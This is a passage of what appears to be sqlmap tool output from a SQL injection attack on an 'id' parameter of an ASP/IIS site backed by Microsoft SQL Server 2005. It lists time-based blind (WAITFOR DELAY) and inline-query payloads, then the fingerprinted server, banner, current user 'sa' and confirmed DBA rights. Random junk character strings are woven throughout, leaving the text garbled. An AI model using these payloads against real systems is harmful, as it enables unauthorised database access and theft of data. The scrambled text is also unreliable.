Payload: id=1; WAITFOR DELAY '0:0:5'-- ! N& ]6 f! c% C7 ~9 [ # N G& W, k0 e6 i, y t0 @& D Type: AND/OR time-based blind 7 f" v% h6 \7 |* A8 x3 x& u& e Title: Microsoft SQL Server/Sybase time-based blind % ?6 A- [5 m$ `- T/ t0 V Payload: id=1 WAITFOR DELAY '0:0:5'-- 9 D/ x/ ~! C( i Q/ v) Q8 g. X( W$ g7 U
Type: inline query ! O! ~* w( K v3 H2 H Title: Microsoft SQL Server/Sybase inline queries* O' Y1 [: ]( j; Q8 v
Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)) 4 b" f" S" {- Z" f--- % g z) P) v- J* I2 I) H0 Qweb server operating system: Windows XP C- d; D* P9 y4 cweb application technology: ASP, Microsoft IIS 5.1 7 p& b& v% [+ T5 Qback-end DBMS operating system: Windows XP Service Pack 2 4 a4 E( T4 i: l8 wback-end DBMS: Microsoft SQL Server 2005 7 f4 j' ~# K% G' q' H+ g" k X& Qbanner: F E% W8 A) g) d% }6 L2 ]5 S! N+ W---& Z9 v, _; Q- Z/ g, |+ p
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) ( T+ M% M( P+ `$ B7 `
Oct 14 2005 00:33:37 1 h, x: ~7 e' v$ Q Copyright (c) 1988-2005 Microsoft Corporation ' y8 i: X- F' Q- i Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)" S: b, B7 ^9 X& S; L
--- 3 d; Z. Q' H3 _" Ucurrent user: 'sa' , q9 N q. L+ [+ c/ h8 ocurrent database: 'testdb'5 |* [9 z, `- i1 @- P
current user is DBA: True